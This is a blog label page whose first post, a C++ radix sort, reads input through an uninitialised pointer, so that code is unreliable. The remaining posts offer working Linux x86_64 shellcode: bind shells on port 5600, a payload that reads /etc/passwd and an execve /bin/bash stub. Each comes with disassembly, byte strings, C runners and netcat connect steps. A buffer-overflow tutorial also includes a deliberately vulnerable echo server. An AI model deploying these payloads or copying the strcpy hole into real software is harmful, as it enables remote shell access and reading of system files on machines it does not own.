Our Feeds
Showing posts with label C++. Show all posts
Showing posts with label C++. Show all posts

Sunday, 9 October 2022

t3rminalc0d3r

Radix Sort in C++

The implementation of Radix sort algorithm using buckets in C++.

The algorithm was MCA practical question for Advanced Algorithm Design paper.


#include <iostream>
#include <queue>
#include <cmath>
using namespace std;

/*
	Coded by AJITH K P
	(c) _TERMINAL_CODERS_ (c)
*/

int* radixSort(int *numbers, int size){
	int radix = 0;
	queue<int> bucket[10];
	bool flg = true;
	while(flg){
		flg = false;
		int divisor = pow(10, radix);
		for(int i=0;i<size;i++){
			int divideResult = numbers[i] / divisor;
			if(divideResult>0){
				flg  = true;
			}
			bucket[(divideResult)%10].push(numbers[i]);
		}
		int ind = 0;
		for(int i=0;i<10;i++){
			while(!bucket[i].empty()){
				numbers[ind++] = bucket[i].front();
				bucket[i].pop();
			}
			
		}
		radix++;
	}
	return numbers;
}
void display(int *numbers, int size){
	for(int i=0;i<size;i++){
		cout<<numbers[i]<<" ";
	}
}

int main(){
	int *numbers, size;
	cout<<"Enter size of array: ";
	cin>>size;
	cout<<"Enter "<<size<<" numbers: ";
	for(int i=0;i<size;i++){
		cin>>numbers[i];
	}
	numbers = radixSort(numbers, size);
	display(numbers, size);
	return 0;
}

Friday, 20 January 2017

Ajith KP

Buffer Overflow Tutorial: Socket Programs

Buffer Overflow is the vulnerability which make your system high risk. It allows unlimited access to the attacker, and allows inject shellcodes. That is the attacker can execute any malicious codes on target machine. This video tutorial shows how the hackers exploits remote services running in remote systems and how to get access to it. Here I'm using custom socket program, which is a vulnerable to Stack Buffer Overflow. The program is ECHO server, which listens port 5601.

Buffer Overflow Tutorial Linux

Vulnerable Code

#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
/*
http://www.terminalcoders.blogspot.com
BOF Tutorial
Video: https://youtu.be/uPfBkU0LqBA
*/
void copy(char str[8000]){ //Vulnerable function
  char cpy[84];
  strcpy(cpy, str); //Vulnerable section
}
void start_server(){
    char str[8000], cpy[64];
    int sfd, cfd;
 
    struct sockaddr_in sock;
 
    sfd = socket(AF_INET, SOCK_STREAM, 0);
 
    bzero(&sock, sizeof(sock));
 
    sock.sin_family = AF_INET;
    sock.sin_addr.s_addr = htons(INADDR_ANY);
    sock.sin_port = htons(5601); //Binding port
 
    bind(sfd, (struct sockaddr *) &sock, sizeof(sock));
 
    listen(sfd, 10);
 
    cfd = accept(sfd, (struct sockaddr*) NULL, NULL);
 
    while(1){
        read(cfd,str,8000);
        copy(str);
        puts(str);
        write(cfd, str, strlen(str)+1);
    }
}
int main(int argc, char **argv){
    start_server();
}

ShellCode

/*
---------------------------------------------------------------------------------------------------

Linux/x86_64 - Bind 5600 TCP Port - shellcode - 87 bytes

Ajith Kp [ http://fb.com/ajithkp560 ] [ http://www.terminalcoders.blogspot.com ]

Om Asato Maa Sad-Gamaya |
Tamaso Maa Jyotir-Gamaya |
Mrtyor-Maa Amrtam Gamaya |
Om Shaantih Shaantih Shaantih |

---------------------------------------------------------------------------------------------------
Disassembly of section .text:

0000000000400080 <.text>:
  400080: 48 31 c0              xor    %rax,%rax
  400083: 48 31 d2              xor    %rdx,%rdx
  400086: 48 31 f6              xor    %rsi,%rsi
  400089: ff c6                 inc    %esi
  40008b: 6a 29                 pushq  $0x29
  40008d: 58                    pop    %rax
  40008e: 6a 02                 pushq  $0x2
  400090: 5f                    pop    %rdi
  400091: 0f 05                 syscall 
  400093: 48 97                 xchg   %rax,%rdi
  400095: 6a 02                 pushq  $0x2
  400097: 66 c7 44 24 02 15 e0  movw   $0xe015,0x2(%rsp)
  40009e: 54                    push   %rsp
  40009f: 5e                    pop    %rsi
  4000a0: 52                    push   %rdx
  4000a1: 6a 31                 pushq  $0x31
  4000a3: 58                    pop    %rax
  4000a4: 6a 10                 pushq  $0x10
  4000a6: 5a                    pop    %rdx
  4000a7: 0f 05                 syscall 
  4000a9: 5e                    pop    %rsi
  4000aa: 6a 32                 pushq  $0x32
  4000ac: 58                    pop    %rax
  4000ad: 0f 05                 syscall 
  4000af: 6a 2b                 pushq  $0x2b
  4000b1: 58                    pop    %rax
  4000b2: 0f 05                 syscall 
  4000b4: 48 97                 xchg   %rax,%rdi
  4000b6: 6a 03                 pushq  $0x3
  4000b8: 5e                    pop    %rsi
  4000b9: ff ce                 dec    %esi
  4000bb: b0 21                 mov    $0x21,%al
  4000bd: 0f 05                 syscall 
  4000bf: 75 f8                 jne    0x4000b9
  4000c1: f7 e6                 mul    %esi
  4000c3: 52                    push   %rdx
  4000c4: 48 bb 2f 62 69 6e 2f  movabs $0x68732f2f6e69622f,%rbx
  4000cb: 2f 73 68 
  4000ce: 53                    push   %rbx
  4000cf: 48 8d 3c 24           lea    (%rsp),%rdi
  4000d3: b0 3b                 mov    $0x3b,%al
  4000d5: 0f 05                 syscall

---------------------------------------------------------------------------------------------------

How To Run

$ gcc -o bind_shell bind_shell.c
$ execstack -s bind_shell
$ ./bind_shell

How to Connect

$ nc <HOST IP ADDRESS> 5600

Eg:

$ nc 127.0.0.1 5600

---------------------------------------------------------------------------------------------------
*/
#include <stdio.h>
char sh[]="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05";
void main(int argc, char **argv)
{
 int (*func)();
 func = (int (*)()) sh;
 (int)(*func)();
}

Video

Saturday, 23 April 2016

Ajith KP

Linux/x86_64 - bindshell (PORT: 5600) - 86 bytes

Hi guyZ,
     This is another shellcode developed by _TERMINAL_CODERS_. The shellcode can bind port 5600 and execute the commands received from hacker.


Source Code

/*
---------------------------------------------------------------------------------------------------
 
Linux/x86_64 - bindshell (PORT: 5600) - 86 bytes
 
Ajith Kp [ @ajithkp560 ] [ http://www.terminalcoders.blogspot.com ]
 
Om Asato Maa Sad-Gamaya |
Tamaso Maa Jyotir-Gamaya |
Mrtyor-Maa Amrtam Gamaya |
Om Shaantih Shaantih Shaantih |
 
---------------------------------------------------------------------------------------------------
Disassembly of section .text:
 
0000000000400080 <.text>:
  400080: 48 31 c0              xor    %rax,%rax
  400083: 48 31 f6              xor    %rsi,%rsi
  400086: 99                    cltd   
  400087: 6a 29                 pushq  $0x29
  400089: 58                    pop    %rax
  40008a: ff c6                 inc    %esi
  40008c: 6a 02                 pushq  $0x2
  40008e: 5f                    pop    %rdi
  40008f: 0f 05                 syscall 
  400091: 48 97                 xchg   %rax,%rdi
  400093: 6a 02                 pushq  $0x2
  400095: 66 c7 44 24 02 15 e0  movw   $0xe015,0x2(%rsp)
  40009c: 54                    push   %rsp
  40009d: 5e                    pop    %rsi
  40009e: 52                    push   %rdx
  40009f: 6a 10                 pushq  $0x10
  4000a1: 5a                    pop    %rdx
  4000a2: 6a 31                 pushq  $0x31
  4000a4: 58                    pop    %rax
  4000a5: 0f 05                 syscall 
  4000a7: 50                    push   %rax
  4000a8: 5e                    pop    %rsi
  4000a9: 6a 32                 pushq  $0x32
  4000ab: 58                    pop    %rax
  4000ac: 0f 05                 syscall 
  4000ae: 6a 2b                 pushq  $0x2b
  4000b0: 58                    pop    %rax
  4000b1: 0f 05                 syscall 
  4000b3: 48 97                 xchg   %rax,%rdi
  4000b5: 6a 03                 pushq  $0x3
  4000b7: 5e                    pop    %rsi
  4000b8: ff ce                 dec    %esi
  4000ba: b0 21                 mov    $0x21,%al
  4000bc: 0f 05                 syscall 
  4000be: 75 f8                 jne    0x4000b8
  4000c0: 48 31 c0              xor    %rax,%rax
  4000c3: 99                    cltd   
  4000c4: 48 bb 2f 62 69 6e 2f  movabs $0x68732f2f6e69622f,%rbx
  4000cb: 2f 73 68 
  4000ce: 53                    push   %rbx
  4000cf: 54                    push   %rsp
  4000d0: 5f                    pop    %rdi
  4000d1: 6a 3b                 pushq  $0x3b
  4000d3: 58                    pop    %rax
  4000d4: 0f 05                 syscall
 
---------------------------------------------------------------------------------------------------
 
How To Run
 
$ gcc -o bind_shell bind_shell.c
$ execstack -s sh_shell
$ ./sh_shell
 
How to Connect
 
$ nc <HOST IP ADDRESS> 5600
 
Eg:
 
$ nc 127.0.0.1 5600
 
---------------------------------------------------------------------------------------------------
*/
#include <stdio.h>
char sh[]="\x48\x31\xc0\x48\x31\xf6\x99\x6a\x29\x58\xff\xc6\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x50\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\x48\x31\xc0\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x6a\x3b\x58\x0f\x05";
void main(int argc, char **argv)
{
    int (*func)();
    func = (int (*)()) sh;
    (int)(*func)();
}

Friday, 15 April 2016

Ajith KP

Linux/x86_64 - Read /etc/passwd - 65 bytes

Hi GuyZ,
     This is another shellcodes shared by _TERMINAL_CODERS_.



Source Code

>/*
---------------------------------------------------------------------------------------------------

Linux/x86_64 - Read /etc/passwd - 65 bytes

Ajith Kp [ @ajithkp560 ] [ http://www.terminalcoders.blogspot.com ]

Om Asato Maa Sad-Gamaya |
Tamaso Maa Jyotir-Gamaya |
Mrtyor-Maa Amrtam Gamaya |
Om Shaantih Shaantih Shaantih |

---------------------------------------------------------------------------------------------------
Disassembly of section .text:

Disassembly of section .text:

0000000000400080 <.text>:
  400080: eb 2f                 jmp    0x4000b1
  400082: 5f                    pop    rdi
  400083: 6a 02                 push   0x2
  400085: 58                    pop    rax
  400086: 48 31 f6              xor    rsi,rsi
  400089: 0f 05                 syscall 
  40008b: 66 81 ec ef 0f        sub    sp,0xfef
  400090: 48 8d 34 24           lea    rsi,[rsp]
  400094: 48 97                 xchg   rdi,rax
  400096: 48 31 d2              xor    rdx,rdx
  400099: 66 ba ef 0f           mov    dx,0xfef
  40009d: 48 31 c0              xor    rax,rax
  4000a0: 0f 05                 syscall 
  4000a2: 6a 01                 push   0x1
  4000a4: 5f                    pop    rdi
  4000a5: 48 92                 xchg   rdx,rax
  4000a7: 6a 01                 push   0x1
  4000a9: 58                    pop    rax
  4000aa: 0f 05                 syscall 
  4000ac: 6a 3c                 push   0x3c
  4000ae: 58                    pop    rax
  4000af: 0f 05                 syscall 
  4000b1: e8 cc ff ff ff        call   0x400082
  4000b6: 2f                    (bad)  
  4000b7: 65 74 63              gs je  0x40011d
  4000ba: 2f                    (bad)  
  4000bb: 70 61                 jo     0x40011e
  4000bd: 73 73                 jae    0x400132
  4000bf: 77 64                 ja     0x400125

---------------------------------------------------------------------------------------------------

How To Run

$ gcc -o read_passwd read_passwd.c
$ execstack -s read_passwd
$ ./read_passwd

---------------------------------------------------------------------------------------------------
*/
#include <stdio.h>
char sh[]="\xeb\x2f\x5f\x6a\x02\x58\x48\x31\xf6\x0f\x05\x66\x81\xec\xef\x0f\x48\x8d\x34\x24\x48\x97\x48\x31\xd2\x66\xba\xef\x0f\x48\x31\xc0\x0f\x05\x6a\x01\x5f\x48\x92\x6a\x01\x58\x0f\x05\x6a\x3c\x58\x0f\x05\xe8\xcc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64";
void main(int argc, char **argv)
{
 int (*func)();
 func = (int (*)()) sh;
 (int)(*func)();
}

Monday, 11 April 2016

Ajith KP

Linux/x86_64 - bindshell (PORT: 5600) - 81 bytes

Hi GuyZ,
     This is another shellcode by _TERMINAL_CODERS_. You can find this fro, here: https://www.exploit-db.com/exploits/39684/


Source Code

/*
---------------------------------------------------------------------------------------------------

Linux/x86_64 - bindshell (PORT: 5600) - 81 bytes

Ajith Kp [ @ajithkp560 ] [ http://www.terminalcoders.blogspot.com ]

Om Asato Maa Sad-Gamaya |
Tamaso Maa Jyotir-Gamaya |
Mrtyor-Maa Amrtam Gamaya |
Om Shaantih Shaantih Shaantih |

---------------------------------------------------------------------------------------------------
Disassembly of section .text:

0000000000400080 <.text>:
  400080:   99                      cdq    
  400081:   6a 29                   push   0x29
  400083:   58                      pop    rax
  400084:   6a 01                   push   0x1
  400086:   5e                      pop    rsi
  400087:   6a 02                   push   0x2
  400089:   5f                      pop    rdi
  40008a:   0f 05                   syscall 
  40008c:   48 97                   xchg   rdi,rax
  40008e:   6a 02                   push   0x2
  400090:   66 c7 44 24 02 15 e0    mov    WORD PTR [rsp+0x2],0xe015
  400097:   54                      push   rsp
  400098:   5e                      pop    rsi
  400099:   52                      push   rdx
  40009a:   6a 10                   push   0x10
  40009c:   5a                      pop    rdx
  40009d:   6a 31                   push   0x31
  40009f:   58                      pop    rax
  4000a0:   0f 05                   syscall 
  4000a2:   50                      push   rax
  4000a3:   5e                      pop    rsi
  4000a4:   6a 32                   push   0x32
  4000a6:   58                      pop    rax
  4000a7:   0f 05                   syscall 
  4000a9:   6a 2b                   push   0x2b
  4000ab:   58                      pop    rax
  4000ac:   0f 05                   syscall 
  4000ae:   48 97                   xchg   rdi,rax
  4000b0:   6a 03                   push   0x3
  4000b2:   5e                      pop    rsi
  4000b3:   48 ff ce                dec    rsi
  4000b6:   6a 21                   push   0x21
  4000b8:   58                      pop    rax
  4000b9:   0f 05                   syscall 
  4000bb:   75 f6                   jne    0x4000b3
  4000bd:   99                      cdq    
  4000be:   52                      push   rdx
  4000bf:   48 b9 2f 62 69 6e 2f    movabs rcx,0x68732f2f6e69622f
  4000c6:   2f 73 68 
  4000c9:   51                      push   rcx
  4000ca:   54                      push   rsp
  4000cb:   5f                      pop    rdi
  4000cc:   6a 3b                   push   0x3b
  4000ce:   58                      pop    rax
  4000cf:   0f 05                   syscall 

---------------------------------------------------------------------------------------------------

How To Run

$ gcc -o bind_shell bind_shell.c
$ execstack -s sh_shell
$ ./sh_shell

How to Connect

$ nc <HOST IP ADDRESS> 5600

Eg:

$ nc 127.0.0.1 5600

---------------------------------------------------------------------------------------------------
*/
#include <stdio.h>
char sh[]="\x99\x6a\x29\x58\x6a\x01\x5e\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x50\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x99\x52\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x51\x54\x5f\x6a\x3b\x58\x0f\x05";
void main(int argc, char **argv)
{
 int (*func)();
 func = (int (*)()) sh;
 (int)(*func)();
}

Monday, 28 March 2016

Ajith KP

Linux/x86_x64 - execve(/bin/bash) - 33 bytes

Hi GuyZ,
     You can find it from: https://www.exploit-db.com/exploits/39625/


Source Code

/*
---------------------------------------------------------------------------------------------------

Linux/x86_x64 - execve(/bin/bash) - 33 bytes

Ajith Kp [ @ajithkp560 ] [ http://www.terminalcoders.blogspot.com ]

Om Asato Maa Sad-Gamaya |
Tamaso Maa Jyotir-Gamaya |
Mrtyor-Maa Amrtam Gamaya |
Om Shaantih Shaantih Shaantih |

---------------------------------------------------------------------------------------------------
Disassembly of section .text:

0000000000400080 <.text>:
  400080: eb 0b                 jmp    0x40008d
  400082: 5f                    pop    rdi
  400083: 48 31 d2              xor    rdx,rdx
  400086: 52                    push   rdx
  400087: 5e                    pop    rsi
  400088: 6a 3b                 push   0x3b
  40008a: 58                    pop    rax
  40008b: 0f 05                 syscall
  40008d: e8 f0 ff ff ff        call   0x400082
  400092: 2f                    (bad)
  400093: 2f                    (bad)
  400094: 2f                    (bad)
  400095: 2f                    (bad)
  400096: 62                    (bad)
  400097: 69 6e 2f 2f 2f 2f 2f  imul   ebp,DWORD PTR [rsi+0x2f],0x2f2f2f2f
  40009e: 62                    .byte 0x62
  40009f: 61                    (bad)
  4000a0: 73 68                 jae    0x40010a
---------------------------------------------------------------------------------------------------

How To Run

$ gcc -o bash_shell bash_shell.c
$ execstack -s bash_shell
$ ./bash_shell

---------------------------------------------------------------------------------------------------
*/
#include <stdio.h>
char sh[]="\xeb\x0b\x5f\x48\x31\xd2\x52\x5e\x6a\x3b\x58\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x2f\x2f\x2f\x62\x69\x6e\x2f\x2f\x2f\x2f\x62\x61\x73\x68";
void main(int argc, char **argv)
{
 int (*func)();
 func = (int (*)()) sh;
 (int)(*func)();
}